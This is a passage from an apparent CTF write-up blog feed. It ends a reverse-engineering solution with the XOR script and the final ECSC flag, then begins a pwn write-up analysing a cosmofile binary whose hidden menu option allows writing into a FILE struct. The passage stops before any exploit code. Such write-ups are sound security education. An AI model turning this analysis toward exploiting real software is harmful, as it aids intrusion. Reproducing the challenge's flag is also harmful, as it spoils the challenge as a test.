&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">iVar5&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar3&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_BYTE_400d06a0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">puVar2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">PTR_DAT_400d069c&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">abStack_30&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar5&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">puVar3&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar5&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">puVar2&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">iVar5&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>PTR_BYTE_400d06a0 is constant and PTR_DAT_400d069c is set just above it, first it&amp;rsquo;s set to b&amp;rsquo;FCSCFCSCFCSCFCSC&amp;rsquo; using:&lt;/p>
&lt;pre tabindex="0">&lt;code> for (iVar5 = 0; iVar5 &amp;lt; 4; iVar5 = iVar5 + 1) {
iVar4 = iVar5 * 4;
puVar2 = PTR_DAT_400d069c;
puVar2[iVar5 * 4] = 0x46;
puVar2[iVar4 + 1] = 0x43;
puVar2[iVar4 + 2] = 0x53;
puVar2[iVar4 + 3] = 0x43;
}
&lt;/code>&lt;/pre>&lt;p>then the first 12 bytes are overwritten by the call to &lt;code>func_0x400d60e4&lt;/code>&lt;/p>
&lt;p>inspecting &lt;code>func_0x400d60e4&lt;/code>
we see it&amp;rsquo;s decompilation and disassembly:
&lt;img
src="https://nothoudaifa.github.io/ecsc2026-extensif/2026-06-26%7c18:07:55.187.png"
alt="func_0x400d60e4 decomp"
loading="lazy"
decoding="async"
class="full-width"
/>
it calls &lt;code>func_0x400d60f4&lt;/code> with 0x4a and &lt;code>PTR_DAT_400d069c&lt;/code>
here is the code for &lt;code>func_0x400d60f4&lt;/code>
&lt;img
src="https://nothoudaifa.github.io/ecsc2026-extensif/2026-06-26%7c18:11:21.474.png"
alt="func_0x400d60f4 decomp"
loading="lazy"
decoding="async"
class="full-width"
/>
it writes the first argument into the first byte of the second argument and it writes the first byte of the return address into the second byte and incremnts the first arg by one and second arg by 2 and keeps calling it self recursively until &lt;code>arg1 &amp;amp; 8 == 0&lt;/code>&lt;/p>
&lt;p>getting the return addresses is easy, the return address is the address of the instrution after the call instruction, which means:
for the first time when it&amp;rsquo;s called by &lt;code>func_0x400d60e4&lt;/code>&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-assembly" data-lang="assembly"> 400d60ec 65 00 00 call8 SUB_400d60f4
here-&amp;gt;400d60ef 1d f0 retw.n
&lt;/code>&lt;/pre>&lt;p>we can see that it&amp;rsquo;s 0xef
and for the rest it&amp;rsquo;s 0x08&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-assembly" data-lang="assembly"> 400d6105 e5 fe ff call8 SUB_400d60f4
LAB_400d6108 XREF[1]: 400d60f7(j)
here-&amp;gt;400d6108 1d f0 retw.n
&lt;/code>&lt;/pre>&lt;p>now tracing the execution of this function we can deduce that the final value of &lt;code>PTR_DAT_400d069c&lt;/code> is: &lt;code>0x4a,0xef, 0x4b, 0x8, 0x4c, 0x8, 0x4d, 0x8, 0x4e, 0x8, 0x4f, 0x8, 0x46, 0x43, 0x53, 0x43&lt;/code> and the extracted &lt;code>PTR_BYTE_400d06a0&lt;/code> is: &lt;code>0x79, 0x8D, 0x2D, 0x3E, 0x2E, 0x6E, 0x79, 0x6D, 0x28, 0x38, 0x2D, 0x38, 0x77, 0x75, 0x60, 0x21&lt;/code>&lt;/p>
&lt;p>now we can get the final flag using this script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-py" data-lang="py">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">data_400d069c&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0x4a&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#ae81ff">0xef&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x4b&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x8&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x4c&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x8&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x4d&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x8&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x4e&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x8&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x4f&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x8&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x46&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x43&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x53&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x43&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">data_400d06a0&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0x79&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x8D&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2D&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x3E&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2E&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x6E&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x79&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x6D&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x28&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x38&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2D&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x38&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x77&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x75&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x60&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x21&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">r&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">range&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">r&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">append&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">data_400d069c&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#f92672">^&lt;/span>&lt;span style="color:#111">data_400d06a0&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">])&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;FCSC{&amp;#39;&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">bytes&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">r&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;}&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>our final flag is : &lt;code>FCSC{3bf6bf4ef0b0163b}&lt;/code>&lt;/p></description><author>nothoudaifa</author><guid>https://nothoudaifa.github.io/posts/ecsc2026-extensif/</guid><pubDate>Fri, 26 Jun 2026 00:00:00 +0000</pubDate></item><item><title>writeup for pwn/cosmofile chall from l3akctf 2025</title><link>https://nothoudaifa.github.io/posts/l3akctf2025-cosmofile/</link><description>&lt;h2 id="tldr">TL;DR&lt;/h2>
&lt;p>this challenge is about exploiting &lt;a href="https://github.com/jart/cosmopolitan">https://github.com/jart/cosmopolitan&lt;/a> FILE struct implementation.&lt;/p>
&lt;h2 id="initial-analysis">Initial Analysis&lt;/h2>
&lt;p>we are given &lt;code>cosmofile&lt;/code> &lt;code>Dockerfile&lt;/code> , using checksec on the binary we get:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>*&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#d88200">&amp;#39;/home/player/ctfs/l3ak/cosmofile/c/cosmofile&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Arch: amd64-64-little
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> RELRO: No RELRO
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stack: No canary found
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> NX: NX enabled
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> PIE: No PIE &lt;span style="color:#f92672">(&lt;/span>0x400000&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Stripped: No
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Debuginfo: Yes
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>we can see that bsides NX, no security measure is enabled (which is good since we are exploiting it)&lt;/p>
&lt;p>opening the binary in ida we get the following decompilation of the main function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#00a8c8">__fastcall&lt;/span> &lt;span style="color:#75af00">main&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">argc&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">const&lt;/span> &lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#f92672">**&lt;/span>&lt;span style="color:#111">argv&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">const&lt;/span> &lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#f92672">**&lt;/span>&lt;span style="color:#111">envp&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">_BYTE&lt;/span> &lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">4100&lt;/span>&lt;span style="color:#111">];&lt;/span> &lt;span style="color:#75715e">// [rsp+0h] [rbp-1010h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">v5&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// [rsp+1004h] [rbp-Ch]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">FILE&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// [rsp+1008h] [rbp-8h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">f&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">fopen&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;/tmp/cosmofile.txt&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#34;rw+&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">setbuf&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">stdout&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">setbuf&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">stdin&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">f&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">fwrite&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Here is a secret of the universe:&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">... huh?&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1uLL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2BuLL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">fwrite&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;It&amp;#39;s not here...&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1uLL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x10uLL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">fflush&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">rewind&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">while&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">while&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">while&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">menu&lt;/span>&lt;span style="color:#111">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">read_int&lt;/span>&lt;span style="color:#111">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">v5&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">_DWORD&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">unk_6E7472&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">break&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">cosmo_puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Whoa whoa whoa... you can&amp;#39;t just hide the secret of the universe like that!&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">cosmo_puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Just kidding, that&amp;#39;s not really a secret...&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">read&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x70uLL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">v5&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">int&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">unk_6E7472&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">break&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">LABEL_12&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">cosmo_puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Invalid choice. Please try again.&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">v5&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">v5&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">cosmo_print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Exiting...&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">exit&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">goto&lt;/span> &lt;span style="color:#111">LABEL_12&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">cosmo_print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Reading from cosmofile:&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">fread&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1uLL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x1000uLL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">cosmo_puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Content of cosmofile:&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">write&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x1000uLL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">cosmo_puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">Nice, now you can see the universe in a different light!&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">perror&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;Failed to open file&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>it starts by opening a file &lt;code>/tmp/cosmofile.txt&lt;/code> and writing some data to it, then it gives us this menu:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">[[&lt;/span> &lt;span style="color:#111">cosmofile&lt;/span> &lt;span style="color:#111">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">1.&lt;/span> &lt;span style="color:#111">Read&lt;/span> &lt;span style="color:#111">a&lt;/span> &lt;span style="color:#111">secret&lt;/span> &lt;span style="color:#111">of&lt;/span> &lt;span style="color:#111">the&lt;/span> &lt;span style="color:#111">universe&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">2.&lt;/span> &lt;span style="color:#111">Exit&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>option 1 allows us to read from the file and write the output to stdout and option 2 let’s us exit, but actually there is one more secret option, &lt;code>if ( v5 != (_DWORD)&amp;amp;unk_6E7472 )&lt;/code> if v5 is equal to 7238770 (0x6E7472 in decimal), we can write into the FILE struct.&lt;/p>
&lt;h2 id="exploring-the-file-struct-implementation">Exploring the FILE struct implementation:&lt;/h2>
&lt;p>this is a typical FILE struct exploitation ctf chall, where we can write into the FILE struct and we have to exploit it’s inner workings to get arbitrary execution (in this case), it’s just that this is not glibc.&lt;/p>
&lt;p>looking into the FILE struct definition in ida we see this:&lt;/p>
